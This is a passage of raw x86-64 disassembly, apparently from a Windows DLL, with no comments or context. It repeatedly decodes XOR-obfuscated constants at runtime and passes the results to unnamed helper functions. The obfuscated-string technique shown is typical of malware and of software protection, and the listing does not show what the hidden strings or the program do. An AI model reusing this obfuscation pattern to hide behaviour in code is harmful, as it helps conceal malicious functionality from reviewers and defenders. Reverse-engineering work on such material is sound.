mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1868], rax
movabs rax, 0xfb38a9272c3dd426
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1870], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1878], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc820], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc828], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc830], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc838], rax
vmovdqu ymm0, ymmword [rbp + 0xc820]
vpxor ymm1, ymm0, ymmword [rbp + 0x1860]
vmovdqa ymmword [rbp + 0x1860], ymm1
lea rdx, [rbp + 0x1860]
lea rcx, [rbp + 0x3c90]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3c90]
lea rcx, [rbp + 0xa5f0]
call fcn.1800553f0
nop
lea rcx, [rbp + 0x3c90]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x173], al
mov byte [rbp + 0x174], al
movabs rax, 0xee2d2bfbcbf13385
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b60], rax
movabs rax, 0x2e98fec6662319b4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b68], rax
movabs rax, 0xbf7aea436710e112
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b70], rax
movabs rax, 0xc545c000885b33ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b78], rax
movabs rax, 0x69261b431148a43
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b80], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2b88], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb7c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb7c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb7d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb7d8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xb7e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb7e8], rax
vmovdqu ymm0, ymmword [rbp + 0xb7c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2b60]
vmovdqa ymmword [rbp + 0x2b60], ymm1
vmovdqa xmm2, xmmword [rbp + 0x2b80]
vpxor xmm2, xmm2, xmmword [rbp + 0xb7e0]
vmovdqa xmmword [rbp + 0x2b80], xmm2
lea rdx, [rbp + 0x2b60]
lea rcx, [rbp + 0x3cb0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3cb0]
lea rcx, [rbp + 0x6eb0]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xa7d8]
lea rcx, [rbp + 0x6e90]
call fcn.180041ee0
nop
mov rcx, rax
call fcn.180020090
movzx ebx, al
lea rcx, [rbp + 0x6e90]
call fcn.180040870
nop
lea rcx, [rbp + 0x6eb0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3cb0]
call fcn.180040870
test bl, bl
je 0x180031cd8
xor eax, eax
mov byte [rbp + 0x175], al
mov byte [rbp + 0x176], al
movabs rax, 0xee2d2bfbcbf13385
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2ba0], rax
movabs rax, 0x2e98fec6662319b4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2ba8], rax
movabs rax, 0xbf7aea436710e112
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2bb0], rax
movabs rax, 0xc545c000885b33ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2bb8], rax
movabs rax, 0x69261b431148a43
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2bc0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2bc8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb800], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb808], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb810], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb818], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xb820], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb828], rax
vmovdqu ymm0, ymmword [rbp + 0xb800]
vpxor ymm1, ymm0, ymmword [rbp + 0x2ba0]
vmovdqa ymmword [rbp + 0x2ba0], ymm1
vmovdqa xmm2, xmmword [rbp + 0x2bc0]
vpxor xmm2, xmm2, xmmword [rbp + 0xb820]
vmovdqa xmmword [rbp + 0x2bc0], xmm2
lea rdx, [rbp + 0x2ba0]
lea rcx, [rbp + 0x3cd0]
vzeroupper
call fcn.180004520
nop
lea r8, [rbp + 0xa5f0]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x6f10]
call fcn.180042b70
mov rbx, rax
lea rdx, [rbp + 0x3cd0]
lea rcx, [rbp + 0x6ef0]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xa7d8]
lea rcx, [rbp + 0x6ed0]
call fcn.180041ee0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18001e330
nop
lea rcx, [rbp + 0x6ed0]
call fcn.180040870
nop
lea rcx, [rbp + 0x6ef0]
call fcn.180040870
nop
lea rcx, [rbp + 0x6f10]
call fcn.180040870
nop
lea rcx, [rbp + 0x3cd0]
call fcn.180040870
lea r8, [rbp + 0xa5f0]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x6f30]
call fcn.180042b70
nop
mov rcx, rax
call fcn.1800117f0
movzx ebx, al
lea rcx, [rbp + 0x6f30]
call fcn.180040870
test bl, bl
je 0x180031cd8
xor eax, eax
mov byte [rbp + 0x177], al
mov byte [rbp + 0x178], al
movabs rax, 0xe1185ffdcdd718be
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa80], rax
movabs rax, 0x3da6c8d068337c84
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa88], rax
movabs rax, 0xfb38a9272c41cd24
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa90], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xa98], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc840], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc848], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc850], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc858], rax
vmovdqu ymm0, ymmword [rbp + 0xc840]
vpxor ymm1, ymm0, ymmword [rbp + 0xa80]
vmovdqa ymmword [rbp + 0xa80], ymm1
lea rdx, [rbp + 0xa80]
lea rcx, [rbp + 0x3d10]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x179], al
mov byte [rbp + 0x17a], al
movabs rax, 0xff3140c3cffd478f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xaa0], rax
movabs rax, 0x594e5f8640946b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xaa8], rax
movabs rax, 0xc605de447d4ddb1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xab0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xab8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc860], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc868], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc870], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc878], rax
vmovdqu ymm0, ymmword [rbp + 0xc860]
vpxor ymm1, ymm0, ymmword [rbp + 0xaa0]
vmovdqa ymmword [rbp + 0xaa0], ymm1
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x3cf0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3d10]
lea rcx, [rbp + 0x6f90]
call fcn.1800553f0
mov rsi, rax
lea r8, [rbp + 0xa5f0]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x6f70]
call fcn.180042b70
mov rbx, rax
lea rdx, [rbp + 0x3cf0]
lea rcx, [rbp + 0x6f50]
call fcn.1800553f0
nop
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.180006f40
nop
lea rcx, [rbp + 0x6f50]
call fcn.180040870
nop
lea rcx, [rbp + 0x6f70]
call fcn.180040870
nop
lea rcx, [rbp + 0x6f90]
call fcn.180040870
nop
lea rcx, [rbp + 0x3cf0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3d10]
call fcn.180040870
nop
lea rcx, [rbp + 0xa5f0]
call fcn.180040870
nop
lea rcx, [rbp + 0xa7d8]
call fcn.180040870
cmp byte [rbp + 0x2d], 0
je 0x18003217b
mov edx, 0x18
lea rcx, [rbp + 0xa440]
call fcn.1800082e0
xor eax, eax
mov byte [rbp + 0x17b], al
mov byte [rbp + 0x17c], al
movabs rax, 0xe54d2afbc2d3478c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x7c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb210], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb218], rax
movdqa xmm0, xmmword [rbp + 0x7c0]
pxor xmm0, xmmword [rbp + 0xb210]
movdqa xmmword [rbp + 0x7c0], xmm0
lea rdx, [rbp + 0x7c0]
lea rcx, [rbp + 0x3db0]
call fcn.180004520
nop
lea rdx, [rbp + 0x3db0]
lea rcx, [rbp + 0x9240]
call fcn.1800553f0
nop
xor eax, eax
mov byte [rbp + 0x17d], al
mov byte [rbp + 0x17e], al
movabs rax, 0xff264fc3c2d7188f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d0], rax
movabs rax, 0x4dd6a69c2f586a83
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb200], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb208], rax
movdqa xmm0, xmmword [rbp + 0x7d0]
pxor xmm0, xmmword [rbp + 0xb200]
movdqa xmmword [rbp + 0x7d0], xmm0
lea rdx, [rbp + 0x7d0]
lea rcx, [rbp + 0x3d90]
call fcn.180004520
nop
lea rdx, [rbp + 0x3d90]
lea rcx, [rbp + 0x9260]
call fcn.1800553f0
nop
xor eax, eax
mov byte [rbp + 0x17f], al
mov byte [rbp + 0x180], al
movabs rax, 0xc13a75fad7f94689
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7e0], rax
movabs rax, 0x4dd6a69c2f586ab1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7e8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb1f0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb1f8], rax
movdqa xmm0, xmmword [rbp + 0x7e0]
pxor xmm0, xmmword [rbp + 0xb1f0]
movdqa xmmword [rbp + 0x7e0], xmm0
lea rdx, [rbp + 0x7e0]
lea rcx, [rbp + 0x3d70]
call fcn.180004520
nop
lea rdx, [rbp + 0x3d70]
lea rcx, [rbp + 0x9280]
call fcn.1800553f0
nop
xor eax, eax
mov byte [rbp + 0x181], al
mov byte [rbp + 0x182], al
movabs rax, 0xc63a75fad7f94689
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xac0], rax
movabs rax, 0x70a1f1c5662f1884
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xac8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xad0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xad8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc880], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc888], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc890], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc898], rax
vmovdqu ymm0, ymmword [rbp + 0xc880]
vpxor ymm1, ymm0, ymmword [rbp + 0xac0]
vmovdqa ymmword [rbp + 0xac0], ymm1
lea rdx, [rbp + 0xac0]
lea rcx, [rbp + 0x3d50]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3d50]
lea rcx, [rbp + 0x92a0]
call fcn.1800553f0
nop
xor eax, eax
mov byte [rbp + 0x183], al
mov byte [rbp + 0x184], al
movabs rax, 0xb44149c3d5e9228f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7f0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x7f8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb1e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb1e8], rax
movdqa xmm0, xmmword [rbp + 0x7f0]
pxor xmm0, xmmword [rbp + 0xb1e0]
movdqa xmmword [rbp + 0x7f0], xmm0
lea rdx, [rbp + 0x7f0]
lea rcx, [rbp + 0x3d30]
call fcn.180004520
nop
lea rdx, [rbp + 0x3d30]
lea rcx, [rbp + 0x92c0]
call fcn.1800553f0
nop
lea rcx, [rbp + 0x185]
call fcn.180004580
mov rbx, rax
lea r8, [rbp + 0x92e0]
lea rdx, [rbp + 0x9240]
lea rcx, [rbp + 0x8d10]
call fcn.18003e4c0
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x2e00], xmm0
mov r8, rbx
lea rdx, [rbp + 0x2e00]
lea rcx, [rbp + 0xa440]
call fcn.18003f490
nop
lea r9, [fcn.180040870]
mov edx, 0x20
lea r8d, [rdx - 0x1b]
lea rcx, [rbp + 0x9240]
call fcn.18012c140
nop
lea rcx, [rbp + 0x3d30]
call fcn.180040870
nop
lea rcx, [rbp + 0x3d50]
call fcn.180040870
nop
lea rcx, [rbp + 0x3d70]
call fcn.180040870
nop
lea rcx, [rbp + 0x3d90]
call fcn.180040870
nop
lea rcx, [rbp + 0x3db0]
call fcn.180040870
lea rcx, [rbp + 0xa440]
call fcn.18003f470
mov rbx, rax
lea rcx, [rbp + 0xa440]
call fcn.18003f460
mov rsi, rax
cmp rbx, rsi
je 0x18003216f
mov edx, 0x18
lea rcx, [rbp + 0xa428]
call fcn.1800082e0
mov rdx, rbx
lea rcx, [rbp + 0xa428]
call fcn.18000c160
nop
lea rcx, [rbp + 0xa428]
call fcn.18003f300
test al, al
jne 0x180032157
lea rdx, [rbp + 0xa428]
mov rcx, rbx
call fcn.18000e690
call fcn.180004e10
nop
lea rcx, [rbp + 0xa428]
call fcn.18003f5d0
add rbx, 0x20
jmp 0x180032112
lea rcx, [rbp + 0xa440]
call fcn.18003f480
call fcn.180004e10
cmp byte [rbp + 0x2e], 0
je 0x180035eb9
xor eax, eax
mov byte [rbp + 0x186], al
mov byte [rbp + 0x187], al
movabs rax, 0xcb044dc8ff823089
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xae0], rax
movabs rax, 0xf84f0cd57276db3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xae8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xaf0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xaf8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc8a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc8a8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc8b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc8b8], rax
vmovdqu ymm0, ymmword [rbp + 0xc8a0]
vpxor ymm1, ymm0, ymmword [rbp + 0xae0]
vmovdqa ymmword [rbp + 0xae0], ymm1
lea rdx, [rbp + 0xae0]
lea rcx, [rbp + 0x3dd0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3dd0]
lea rcx, [rbp + 0x6fb0]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa338]
call fcn.180007160
nop
lea rcx, [rbp + 0x6fb0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3dd0]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x188], al
mov byte [rbp + 0x189], al
movabs rax, 0xdc3a5dcbeaf9238c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x800], rax
movabs rax, 0x4dd6a69c2f587ab7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x808], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb1d0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb1d8], rax
movdqa xmm0, xmmword [rbp + 0x800]
pxor xmm0, xmmword [rbp + 0xb1d0]
movdqa xmmword [rbp + 0x800], xmm0
lea rdx, [rbp + 0x800]
lea rcx, [rbp + 0x3df0]
call fcn.180004520
nop
lea rdx, [rbp + 0x3df0]
lea rcx, [rbp + 0x6fd0]
call fcn.1800553f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa838]
call fcn.180007160
nop
lea rcx, [rbp + 0x6fd0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3df0]
call fcn.180040870
mov edx, 0x18
lea rcx, [rbp + 0xa470]
call fcn.1800082e0
xor eax, eax
mov byte [rbp + 0x18a], al
mov byte [rbp + 0x18b], al
movabs rax, 0xe12e40c3cf82478e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x810], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x818], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb1c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb1c8], rax
movdqa xmm0, xmmword [rbp + 0x810]
pxor xmm0, xmmword [rbp + 0xb1c0]
movdqa xmmword [rbp + 0x810], xmm0
lea rdx, [rbp + 0x810]
lea rcx, [rbp + 0x41f0]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x18c], al
mov byte [rbp + 0x18d], al
movabs rax, 0xb92a4ffbcdcf3085
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb60], rax
movabs rax, 0x348094ff441d7dbf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb68], rax
movabs rax, 0xc67dee43792ec90e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb70], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb78], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc8c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc8c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc8d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc8d8], rax
vmovdqu ymm0, ymmword [rbp + 0xc8c0]
vpxor ymm1, ymm0, ymmword [rbp + 0xb60]
vmovdqa ymmword [rbp + 0xb60], ymm1
lea rdx, [rbp + 0xb60]
lea rcx, [rbp + 0x41d0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x41f0]
lea rcx, [rbp + 0x77b0]
call fcn.1800553f0
mov rsi, rax
lea rdx, [rbp + 0x41d0]
lea rcx, [rbp + 0x7790]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0xa338]
lea rcx, [rbp + 0x7770]
call fcn.180040920
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x7750]
call fcn.180041fa0
nop
mov r8, rax
mov rdx, rsi
lea rcx, [rbp + 0x9480]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x18e], al
mov byte [rbp + 0x18f], al
movabs rax, 0xb82e40f8d2f14689
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x820], rax
movabs rax, 0x4dd6a69c2f587a84
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x828], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb1b0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb1b8], rax
movdqa xmm0, xmmword [rbp + 0x820]
pxor xmm0, xmmword [rbp + 0xb1b0]
movdqa xmmword [rbp + 0x820], xmm0
lea rdx, [rbp + 0x820]
lea rcx, [rbp + 0x41b0]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x190], al
mov byte [rbp + 0x191], al
movabs rax, 0xb91075c0c2823085
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb80], rax
movabs rax, 0x2198feca71547c82
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb88], rax
movabs rax, 0x936af17e543ee524
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb90], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb98], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc8e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc8e8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc8f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc8f8], rax
vmovdqu ymm0, ymmword [rbp + 0xc8e0]
vpxor ymm1, ymm0, ymmword [rbp + 0xb80]
vmovdqa ymmword [rbp + 0xb80], ymm1
lea rdx, [rbp + 0xb80]
lea rcx, [rbp + 0x4190]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x41b0]
lea rcx, [rbp + 0x7730]
call fcn.1800553f0
mov rsi, rax
lea rdx, [rbp + 0x4190]
lea rcx, [rbp + 0x7710]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0xa338]
lea rcx, [rbp + 0x76f0]
call fcn.180040920
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x76d0]
call fcn.180041fa0
nop
mov r8, rax
mov rdx, rsi
lea rcx, [rbp + 0x94c0]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x192], al
mov byte [rbp + 0x193], al
movabs rax, 0xb44159fdceed478c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x830], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x838], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb1a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb1a8], rax
movdqa xmm0, xmmword [rbp + 0x830]
pxor xmm0, xmmword [rbp + 0xb1a0]
movdqa xmmword [rbp + 0x830], xmm0
lea rdx, [rbp + 0x830]
lea rcx, [rbp + 0x4170]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x194], al
mov byte [rbp + 0x195], al
movabs rax, 0xca2e76fbd7f53085
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2be0], rax
movabs rax, 0x348094ff215c4685
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2be8], rax
movabs rax, 0x9c71f17d6b2aca1f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2bf0], rax
movabs rax, 0x9b2aff3bd47133fa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2bf8], rax
movabs rcx, 0x3baf30ed0152cd11
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x2c00], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2c08], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb840], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb848], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb850], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb858], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xb860], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb868], rax
vmovdqu ymm0, ymmword [rbp + 0xb840]
vpxor ymm1, ymm0, ymmword [rbp + 0x2be0]
vmovdqa ymmword [rbp + 0x2be0], ymm1
vmovdqa xmm2, xmmword [rbp + 0x2c00]
vpxor xmm2, xmm2, xmmword [rbp + 0xb860]
vmovdqa xmmword [rbp + 0x2c00], xmm2
lea rdx, [rbp + 0x2be0]
lea rcx, [rbp + 0x4150]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4170]
lea rcx, [rbp + 0x76b0]
call fcn.1800553f0
mov rsi, rax
lea rdx, [rbp + 0x4150]
lea rcx, [rbp + 0x7690]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0xa338]
lea rcx, [rbp + 0x7670]
call fcn.180040920
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x7650]
call fcn.180041fa0
nop
mov r8, rax
mov rdx, rsi
lea rcx, [rbp + 0x9500]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x196], al
mov byte [rbp + 0x197], al
movabs rax, 0xb43540c08bf54493
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x840], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x848], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb190], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb198], rax
movdqa xmm0, xmmword [rbp + 0x840]
pxor xmm0, xmmword [rbp + 0xb190]
movdqa xmmword [rbp + 0x840], xmm0
lea rdx, [rbp + 0x840]
lea rcx, [rbp + 0x4130]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x198], al
mov byte [rbp + 0x199], al
movabs rax, 0xf03a5ffdefdf3185
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28e0], rax
movabs rax, 0x3490e1f846016fbe
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28e8], rax
movabs rax, 0x9c71f17d6b2aca1f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28f0], rax
movabs rax, 0x9b2aff3bd47133fa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28f8], rax
movabs rcx, 0x3baf30ed0152cd11
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x2900], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2908], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb880], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb888], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb890], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb898], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xb8a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb8a8], rax
vmovdqu ymm0, ymmword [rbp + 0xb880]
vpxor ymm1, ymm0, ymmword [rbp + 0x28e0]
vmovdqa ymmword [rbp + 0x28e0], ymm1
vmovdqa xmm2, xmmword [rbp + 0x2900]
vpxor xmm2, xmm2, xmmword [rbp + 0xb8a0]
vmovdqa xmmword [rbp + 0x2900], xmm2
lea rdx, [rbp + 0x28e0]
lea rcx, [rbp + 0x4110]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4130]
lea rcx, [rbp + 0x7630]
call fcn.1800553f0
mov rsi, rax
lea rdx, [rbp + 0x4110]
lea rcx, [rbp + 0x7610]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0xa338]
lea rcx, [rbp + 0x75f0]
call fcn.180040920
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x75d0]
call fcn.180041fa0
nop
mov r8, rax
mov rdx, rsi
lea rcx, [rbp + 0x9540]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x19a], al
mov byte [rbp + 0x19b], al
movabs rax, 0xf9495ffd8af94688
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x850], rax
movabs rax, 0x4dd6a69c2f585c87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x858], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb180], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb188], rax
movdqa xmm0, xmmword [rbp + 0x850]
